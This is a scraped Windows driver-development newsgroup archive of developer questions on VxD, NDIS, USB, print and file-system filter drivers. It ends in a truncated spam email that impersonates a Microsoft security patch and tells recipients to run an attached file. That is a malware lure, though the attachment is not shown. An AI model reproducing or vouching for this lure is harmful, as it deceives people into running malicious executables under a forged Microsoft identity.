IOP Pending in (VSD) VxD driver
Hi,
I am developing a VSD driver for Storage Area Network
kind of application.This VSD is in DRP_VSD_9 IOS Layer.
In this I am filtering the IOP's and get the data from IOS
and send it to the remote entity.For this I implemented a
kernel level socket using TDI (TDI client).
Now the issue is I have to synchornise the two
asynchronise events (TDI and the Disk).To synch the async
event I need to pend the IOP.
Query:
1. How I can pend the IOP in VxD like in NT
IoMarkIrpPending()to pend the IRP.
2. How I can change the loading order of the VSD.
Thanks in Advance.
with Regards,
Subburaj.R Tag: KesynchronizeExecution???? Tag: 33251
installing mux programmatically
hi,
we can install mux as protocol manually...
the same kind of installation of IM is possible through
some setup program??
It is require modification in notify object?? or it will
be separate program which will do job of installtion of IM
driver ??
Thanks in Advance,
nimeesh Tag: KesynchronizeExecution???? Tag: 33250
how to enable classpnp debug trace.
Hi,
I was debugging a problem of our storage product and
wanted to enable the debug trace of driver classpnp.sys.
With the checked build, there used to be a variable
ClassDebug, you can change the value of it to change the
debug leve. But for W2k SP4 checked build, I couldn't find
this variable, but my problem only happens with SP4, so I
have to debug it with SP4.
Is there anyone knowing this issue?
Thanks. Tag: KesynchronizeExecution???? Tag: 33246
Determining if PCI device is physically present...
OS: Windows 2K/XP
How does one programmatically determine if a PCI device (with a given device
and vendor ID) physically exists in a Windows 2K or XP system without
relying on a driver being installed?
I realize the PCI bus driver does the device enumeration and then drivers
are eventually loaded accordingly. In my case, I have to assume that a
driver may not yet be installed for a particular device. I obviously do not
wish to interact with it (until the driver is installed), but is there a way
to "ask" the bus driver if it has seen the PCI vendor/device ID on the last
PCI scan?
Most of what I have found in Windows programming documentation assumes that
a driver already exists, a device interface has been registered, etc.
I would be interested in either a user-mode or kernel-mode solution to this
problem. Preferably a user-mode solution. But I do have a kernel driver
(that is guaranteed to exist) that I can communicate with and modify if
necessary.
Thanks in advance.
Matt Tag: KesynchronizeExecution???? Tag: 33242
Driver Seminar fee
Hi,
I'm considering going to the South to take a driver seminar, preferably near
the east coast.
My boss doesn't believe it will help developing our driver, so I might have
to crank my penny jar opened.
I want to know if the seminar fee is tax deductable in Ontario Canada? Has
anyone from Ontario tried this before?
T.I.A
Calvin
========== WE SURVIVE TORONTO =======
1. SARS 2 West Nile Virus 3. Mad Cow Disease
4. 2003 Blackout 5. SARS Again Tag: KesynchronizeExecution???? Tag: 33240
Paral Port Mode in BIOS vs parport driver.
Hello,
I am trying to use Windows' standard parallel port
driver( parport ) API from within my driver for
test purposes.
This is what I do:
1) using the name "\Device\ParallelPort0" and
IoGetDeviceObjectPointer(), I get Device Object
of the parport.
2) Then I build a device io req using
IOCTL_INTERNAL_GET_PARALLEL_PNP_INFO and
IoBuildDeviceIoControlRequest API.
3) Then I call IoCallDriver().
I get success and the returned PARALLEL_PNP_INFORMATION
struct's "HardwareCapabilities" field describes the
capabilities of the Parallel Port H/W.
My PC's BIOS Offers: AT, PS/2, EPP and ECP as options
for the parallel port. But when I check
the "HardwareCapabilities" field which is a bit mask of
various possible modes, I only see ECP capability, This
field never shows EPP capability in this field of
PARALLEL_PNP_INFORMATION structure.
Why does paport show fewer capabilities? Can someone help?
Thanks. Tag: KesynchronizeExecution???? Tag: 33238
Intercepting IRP_MJ_READ/WRITE
Hi all,
Still playing with the FILESPY sample from IFS kit. What I am trying to
do now is access the buffers associated with each IRP_MJ_READ/WRITE.
Obviously the filespy sample shows how to intercept every filesystem IRP,
but
not how to access the buffers.
What I need to do is copy the contents of every buffer into an area of
non-paged-pool, each time one of these IRPs completes. So my question is,
what is the safest way to do this?
My concerns are:
what type of I/O is being performed (buffered/direct/neither)
what IRQL the IRPs complete at (presumably dispatch-level)
are the buffers still valid at this time etc.
The filespy sample demonstrates how to "synchronise" the completion
of IRP_MJ_CREATE (plus a couple of others) back to PASSIVE_LEVEL,
it does this by waiting on an event in the dispatch routine which is
signalled
by the completion routine. Should I use this mechanism to ensure that
IRP_MJ_READ/WRITE have completed at passive_level before accessing their
buffers?
What do I do when I have done this - do I need to lock pages into memory
etc??
I need some pointers I'm afraid, still struggling to understand this stuff..
Cheers,
James Tag: KesynchronizeExecution???? Tag: 33232
64-bit PCI mem xfer resolved
For those of you who remember my 64-bit delima ...
I't looks like my PCI bridge chip, Intel's P64H2, has a
FIFO with a high-water mark. When I hit this mark with a
quadword alligned address, the bridge makes the decision
to assert REQ64#.
I blasted this FIFO in a loop. After enough transfers,
the bridge asserted REQ64# and my PCI card responded with
ACK64#.
It looks like a single 64-bit PCI memory transfer is not a
function of software (Bridge is master).
If you want 64-bit, your PCI card needs to perform the bus
mastering. Tag: KesynchronizeExecution???? Tag: 33226
Install Printer Driver with my print processor in NT
Hi,
I have my own print processor. I am installing it using
AddPrintProcessor.
Now I am using UNIDRV.DLL, UNIDRVUI.DLL for AddPrinterDriver. These
files are not installed in some version of NT by default.
So what should I do? I can copy this files to PrinterDriverDirectory.
But for all OS with various service pack these files may be different.
So this is not good approach, that I am thinking. Also in groups I
also got the help that it is not recommended.
So I am trying to use rundll32 printui.dll,PrintUIEntry... But there
is no option to select PrinterProcessor. So how can I change the
PrinterProcessor to my own automatically.
My Printer Processor is testpr, testpr.dll.
Can you suggest me what should I do for automatically installation?
Thanks,
Dhaivat Shah Tag: KesynchronizeExecution???? Tag: 33213
Installable driver problem
Hallo,
I'm writing an installable driver for recording purposes, and I have
some strange problems: I've written a dummy version, thinking to add
functionalities in a second time, but I cannot install it: the 'new
hardware wizard' fails with the message 'incorrect parameter'.
The only message reaching my driver is DRV_LOAD, and I only return 1,
with no other operations.
After the failed installation every application using sound fails to
initialize with exception 0xC0000005, so I'm thinking of some access
violation, but I really cannot figure where I'm doing wrong.
Does somebody have any idea ?
Thank you,
Marco
PS here is the OEMSETUP.INF and the driver code:
//////////////////////////////////////////////////////////
OEMSETUP
/////////////////////////////////////////////////////////
[Source Media Descriptions]
1 = "RecorderTest sound driver" , TAGFILE = RecorderTest_disk
[Installable.Drivers]
RecorderTest = 1:RecorderTest.dll, "wave,mixer", "RecorderTest sound
driver" ,,,
[RecorderTest ]
1:RecorderTest.dll
//////////////////////////////////////////////////////////////////
// RecorderTest
//////////////////////////////////////////////////////////////////
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
return TRUE;
}
LRESULT DriverProc(DWORD dwDriverId, HDRVR hdrvr, UINT msg,
LONG lParam1, LONG lParam2)
{
DWORD dwRes = 0L;
switch (msg) {
case DRV_LOAD:
// Sent when the driver is loaded. This is always
// the first message received by a driver.
dwRes = 1L; // returns 0L to fail
break;
case DRV_FREE:
// Sent when the driver is about to be discarded.
// This is the last message a driver receives
// before it is freed.
dwRes = 1L; // return value ignored
break;
case DRV_OPEN:
// Sent when the driver is opened.
dwRes = 1L; // returns 0L to fail
break; // value subsequently used
// for dwDriverId.
case DRV_CLOSE:
// Sent when the driver is closed. Drivers are
// unloaded when the open count reaches zero.
dwRes = 1L; // returns 0L to fail
break;
case DRV_ENABLE:
// Sent when the driver is loaded or reloaded and
// when Windows is enabled. Install interrupt
// handlers and initialize hardware. Expect the
// driver to be in memory only between the enable
// and disable messages.
dwRes = 1L; // return value ignored
break;
case DRV_DISABLE:
// Sent before the driver is freed or when Windows
// is disabled. Remove interrupt handlers and place
// hardware in an inactive state.
dwRes = 1L; // return value ignored
break;
case DRV_INSTALL:
// Sent when the driver is installed.
dwRes = DRVCNF_OK; // Can also return
break; // DRVCNF_CANCEL
// and DRV_RESTART
case DRV_REMOVE:
// Sent when the driver is removed.
dwRes = 1L; // return value ignored
break;
case DRV_QUERYCONFIGURE:
// Sent to determine if the driver can be
// configured.
dwRes = 0L; // Zero indicates configuration
break; // NOT supported
case DRV_CONFIGURE:
// Sent to display the configuration
// dialog box for the driver.
dwRes = DRVCNF_OK; // Can also return
break; // DRVCNF_CANCEL
// and DRVCNF_RESTART
default:
// Process any other messages.
return DefDriverProc (dwDriverId, hdrvr,
msg, lParam1, lParam2);
}
return dwRes;
} Tag: KesynchronizeExecution???? Tag: 33208
How to associate an Ndis Protocol Handle with a Binding Handle?
What I'd like to do is have several instances of a protocol driver
registered with NDIS. The problem I am having is associating the
NdisProtocolHandle (returned from NdisRegisterProtocol()) with the
BindingContext given to ProtocolBindAdapter(). Since NdisRegisterProtocol()
does not take a user context as a parameter and there is no user context
passed into ProtocolBindAdapter(), it is impossible to tell which binding
context belongs to which protocol handle. Any ideas?
((&-< Tag: KesynchronizeExecution???? Tag: 33207
Installable driver problem
[my newsreader is hiccuping today, sorry if this post is doubled]
Hallo,
I'm writing an installable driver for recording purposes, and I have
some strange problems: I've written a dummy version, thinking to add
functionalities in a second time, but I cannot install it: the 'new
hardware wizard' fails with the message 'incorrect parameter'.
The only message reaching my driver is DRV_LOAD, and I only return 1,
with no other operations.
After the failed installation every application using sound fails to
initialize with exception 0xC0000005, so I'm thinking of some access
violation, but I really cannot figure where I'm doing wrong.
Does somebody have any idea ?
Thank you,
Marco
PS here is the OEMSETUP.INF and the driver code, i think it's the
plainest possible:
//////////////////////////////////////////////////////////
OEMSETUP
/////////////////////////////////////////////////////////
[Source Media Descriptions]
1 = "RecorderTest sound driver" , TAGFILE = RecorderTest_disk
[Installable.Drivers]
RecorderTest = 1:RecorderTest.dll, "wave,mixer", "RecorderTest sound
driver" ,,,
[RecorderTest ]
1:RecorderTest.dll
//////////////////////////////////////////////////////////////////
// RecorderTest
//////////////////////////////////////////////////////////////////
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
return TRUE;
}
LRESULT DriverProc(DWORD dwDriverId, HDRVR hdrvr, UINT msg,
LONG lParam1, LONG lParam2)
{
DWORD dwRes = 0L;
switch (msg) {
case DRV_LOAD:
// Sent when the driver is loaded. This is always
// the first message received by a driver.
dwRes = 1L; // returns 0L to fail
break;
case DRV_FREE:
// Sent when the driver is about to be discarded.
// This is the last message a driver receives
// before it is freed.
dwRes = 1L; // return value ignored
break;
case DRV_OPEN:
// Sent when the driver is opened.
dwRes = 1L; // returns 0L to fail
break; // value subsequently used
// for dwDriverId.
case DRV_CLOSE:
// Sent when the driver is closed. Drivers are
// unloaded when the open count reaches zero.
dwRes = 1L; // returns 0L to fail
break;
case DRV_ENABLE:
// Sent when the driver is loaded or reloaded and
// when Windows is enabled. Install interrupt
// handlers and initialize hardware. Expect the
// driver to be in memory only between the enable
// and disable messages.
dwRes = 1L; // return value ignored
break;
case DRV_DISABLE:
// Sent before the driver is freed or when Windows
// is disabled. Remove interrupt handlers and place
// hardware in an inactive state.
dwRes = 1L; // return value ignored
break;
case DRV_INSTALL:
// Sent when the driver is installed.
dwRes = DRVCNF_OK; // Can also return
break; // DRVCNF_CANCEL
// and DRV_RESTART
case DRV_REMOVE:
// Sent when the driver is removed.
dwRes = 1L; // return value ignored
break;
case DRV_QUERYCONFIGURE:
// Sent to determine if the driver can be
// configured.
dwRes = 0L; // Zero indicates configuration
break; // NOT supported
case DRV_CONFIGURE:
// Sent to display the configuration
// dialog box for the driver.
dwRes = DRVCNF_OK; // Can also return
break; // DRVCNF_CANCEL
// and DRVCNF_RESTART
default:
// Process any other messages.
return DefDriverProc (dwDriverId, hdrvr,
msg, lParam1, lParam2);
}
return dwRes;
} Tag: KesynchronizeExecution???? Tag: 33206
Queued spinlock mystery !!!
< Do you know how the queued spinlock works? It maintains
< a linked list of
< KLOCK_QUEUE_HANDLEs, where the list tail is the
< acquisitor who runs, others are
< acquisitors who wait.
< KLOCK_QUEUE_HANDLE is like Irql variable for usual
< spinlocks.
< You must have at least 1 KLOCK_QUEUE_HANDLE per CPU,
< and use
< KeGetCurrentProcessorNumber to access the correct one,
< with raising on
< DISPATCH_LEVEL beforehand.
I don't understand how queuedspinlocks works anymore. I
thought that there
was only one queue and all cpus were locking themselve
with that queue ex:
KLOCK_QUEUE_HANDLE
|
----------------
| Acquire lock | <----- cpu #0
----------------
----------------
| Acquire lock | <----- cpu #2
----------------
----------------
| Acquire lock | <----- cpu #1
----------------
----------------
| Acquire lock | <----- cpu #3
----------------
If this is not the case but every cpu must have his
KLOCK_QUEUE_HANDLE how
can cpu #2 knows that it must wait because cpu 0 have the
lock if this
lock was putted into the KLOCK_QUEUE_HANDLE of cpu #0 ?
Can someone at Microsoft can explain to me how queued
spinlock really works ?
Thanks Tag: KesynchronizeExecution???? Tag: 33204
Usbscan.sys for multi interface installation in windows 98 ?
I am a software developer for multifunction printer
driver. Here is my problems:
I can't successfully install multifunction printer driver
(composite device, and use usbprint.sys + usbscan.sys)
in Windows 98/SE. The F/W in our device reports multi
interfaces to PC host. Vid_xxxx&Pid_yyyy&MI_00 is printer
interface and Vid_xxxx&Pid_yyyy&MI_01 is scanner
interface.
I referenced the "Building for Windows 98 and Windows 98
SE" section in usbscn9x.htm in Windows Server 2003 DDK.
I follow the DDK's instructions to do some fix, restart my
computer in Windows 98, and use 98 DDK to build the
sample. But it fails.
1. What's wrong with it?
2. Or ... anybody can give me usbscn9x.sys binary
directly?
3. I may doubt the problem may occur in .inf. Does the
scanner .inf has any special writing for multi interface
in Windows 98/SE?
Regards, Tag: KesynchronizeExecution???? Tag: 33199
need a better method to install ps/2 mouse filter
Installing the mouse filter example from the ddk (moufiltr) removes
whatever driver the user had installed for their mouse and overrides
it with the ps/2 mouse driver. For instance, it is undesirable to
replace trackpoint drivers with the less optimal ps/2 mouse driver
when all we want to do is get a mouse filter installed. Is there a
better way to value add a mouse filter driver? It doesn't matter if it
can't get logo or requires programatically updating the registry; the
end user experience is what counts here. Tag: KesynchronizeExecution???? Tag: 33198
How to send the vendor command via the USBprint.sys
Hello...
I try to send the vendor command
(IOCTL_USBPRINT_VENDOR_GET_COMMAND)in the user mode AP via
the usbprint.sys. In the DDK, it tell the programmer to
include the ioctl.h, but there's no defination in the
include file. Who can tell me how to do it?
Thank you very much.
Kent 9/29/2003 Tag: KesynchronizeExecution???? Tag: 33196
What is power up ??
hello
if the device is in DevicePower D3 state.i mean device is
in sleeping state, how do i wake up the
device. i mean when a ioctl is called,how to power up &
complete the task.what are the basic step to power up in a
deviceiocontrol.can anyone guide me getting the logic
behind power up.
Thanks in advance.
pavan Tag: KesynchronizeExecution???? Tag: 33195
how to remove/unplug a usb disk?
Is there any way to remove/unplug the usb disk without the os warning(like
use mouse to click the tray icon to remove it)?
Does any SetupDixxx function to do this? Tag: KesynchronizeExecution???? Tag: 33193
code_seg and MSVC 7.0, 7.1...
Is there any way to control the code segment an expanded inline class member
or templated function is placed into? For the code below, all functions but
ccc() are placed into _TEXT. Only ccc() is placed into CCC.
Yes, this is for driver development.
Cheers,
Nick
#include <stdio.h>
#define LPCSTR char*
struct A
{
#pragma code_seg(push, "AAA")
LPCSTR aaa() { return "aaa aaa aaa"; }
#pragma code_seg(pop)
#pragma code_seg(push, "BBB")
template<class T>
T bbb(T t) { return t; }
#pragma code_seg(pop)
};
#pragma code_seg(push, "CCC")
__forceinline LPCSTR ccc() { return "ccc ccc ccc"; }
#pragma code_seg(pop)
#pragma code_seg(push, "DDD")
template<class T>
T ddd(T t) { return t; }
#pragma code_seg(pop)
void main()
{
A a;
a.aaa();
printf( "%p %p %p %d %d", a.aaa, ccc, ddd(1), a.bbb(1) );
} Tag: KesynchronizeExecution???? Tag: 33192
Timer in kernel mode
Hi
can anyone tell me how to use timer (and their callbacks)
in kernel mode?
Thanks
Sam Tag: KesynchronizeExecution???? Tag: 33182
Spool file name
Hi all,
Somebody knows how to get the spool file name related to a
print job? In pre-W2003 Server I could use the job number,
but in Windows 2003 Server, if the port is TCP or IR the
job number is not used in the file name, and the .SHD file
is locked.
I'm wondering there is some hidden API in local print
provider to get the name.
Thanks in advance,
Wendell. Tag: KesynchronizeExecution???? Tag: 33155
TAPI - autodialers & Prerecorded Voice calls using a cellular modem
Hi,
First I wanted to confirm that it is legal to do this so long as you
are calling another business (you just can't call a private residence
using this system).
Second I wanted to know if anyone knows of a particular software
package, either pre-made or a software development kit to make your
own program to:
have a cell modem autodial a number then play back an mp3 or wav file
with a prerecorded voice then disconnect.
I know this *does* exist to work with land-based phone lines and
regular modems. There are also some pc peripheral cards that allow for
a phone system to be set up but these cards costs hundreds of dollars.
I am just interested only in something that works specifically with a
cell phone plan on a computer - IE:
a cellular modem, aircard or wireless voicemodem
Thanks in advance,
Stan Tag: KesynchronizeExecution???? Tag: 33153
When does The pending IRP be Cancelled?
Hello Everyone?
I meet a problem when I write a driver for my virtual serials
device.
In driver, i need pend some wait event irp( for function WaitCommEvent()).
When The data is little, The wait event irp works well.
But when much data comes, The wait event irp often cancels automatically.
I set cancel routine for event wait irp,and the routine is called.
Why does the kernel cancel the irp?
Why is so?
Jerry Tag: KesynchronizeExecution???? Tag: 33152
USB 2.0 isoch transfers CPU load up to 50%
Hello,
Our device use two iso endpoints. One In and one OUT.
We connect 6 devices. And on some machines the system hang. On other
we have more than 50% CPU load.
How we can decrease CPU load ?
Best regards, Alex. Tag: KesynchronizeExecution???? Tag: 33151
HCT 11.2 Driver Verifier test : Problem in PMTE test
Hi All,
=20
I got a problem during my NDIS Mux Intermediate=20
driver testing with HCT 11.2 kit in Driver Verifier Test.=20
In this test there is four subtests.
=20
1. NDIS Test
2. NDIS(IPSec) Test
3. ACPI S1 Stress Test
4. Driver Enable/Disable Test
=20
=20
NDIS test and NDIS(IPSec) tests are pass. But during ACPT=20
Test -it will fail with PMTE test. I attach that log=20
below. I use Windows XP OS.
During Driver Verifier test, when execute pm test shell it=20
will give error messege:
***************************************
PMTE failed to init
Error : DEVICE_TEST_INFOC :: INIT()
Error : Failed to init Device info
***************************************
For hardware requirement, Is there require S1,S2,S3 or S4=20
support in my Hardware Bios. Which way I come to know that=20
my motherboard support S1,
S2,S3 or S4 ? Is there any additional setting require=20
related to IP Addres binding with server and test system.=20
Now I had prepare my Test setup as per detail
given in HCT Documentation. Please tell me if there power=20
management related setting require.
=20
=20
Can you help me if you have any solution for above=20
test problem.
=20
Thanks in advance.
=20
Amit Dhaduk
=20
Log ::
+=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D+
Log header
+=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D+
=20
=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
VARIATION 1 START=20
Start
=20
FAILURE: couldn't find device with PNPID=3D=20
ROOT\MS_MUXMP\0001
=90=16=F5w=D85=20
=20
VARIATION 1:FAIL=20
Elapsed Time: Days 0 Hours 0 Minutes 0 Seconds 3
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
-----------------------------------------------------------
---------
NTLOG REPORT
-----------------------------------------------------------
---------
Tests Total 0 | Variations Total =20
1
-----------------------------------------------------------
---------
Tests Passed 0 0 % | Variations Passed =20
0 0%
Tests Warned 0 0 % | Variations Warned =20
0 0%=20
Tests Failed sev3 0 0 % | Variations Failed sev3 =20
1 100%=20
Tests Failed sev2 0 0 % | Variations Failed sev2 =20
0 0%=20
Tests Failed sev1 0 0 % | Variations Failed sev1 =20
0 0%=20
Tests Blocked 0 0 % | Variations Blocked =20
0 0%=20
Tests Aborted 0 0 % | Variations Aborted =20
0 0%=20
-----------------------------------------------------------
---------
=20 Tag: KesynchronizeExecution???? Tag: 33150
Try this important pack which comes from Microsoft Corp.
--stvlauzlamldkoq
Content-Type: multipart/related; boundary="qcumbrflwciweuz";
type="multipart/alternative"
--qcumbrflwciweuz
Content-Type: multipart/alternative; boundary="ecphfbquu"
--ecphfbquu
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
MS Consumer
this is the latest version of security update, the
"September 2002, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three new vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your computer.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2002 Microsoft Corporation.
--ecphfbquu
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:mkgejkq" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
MS Consumer<BR><BR>
this is the latest version of security update, the
"September 2002, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three new vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your computer.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:kuqvwib" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/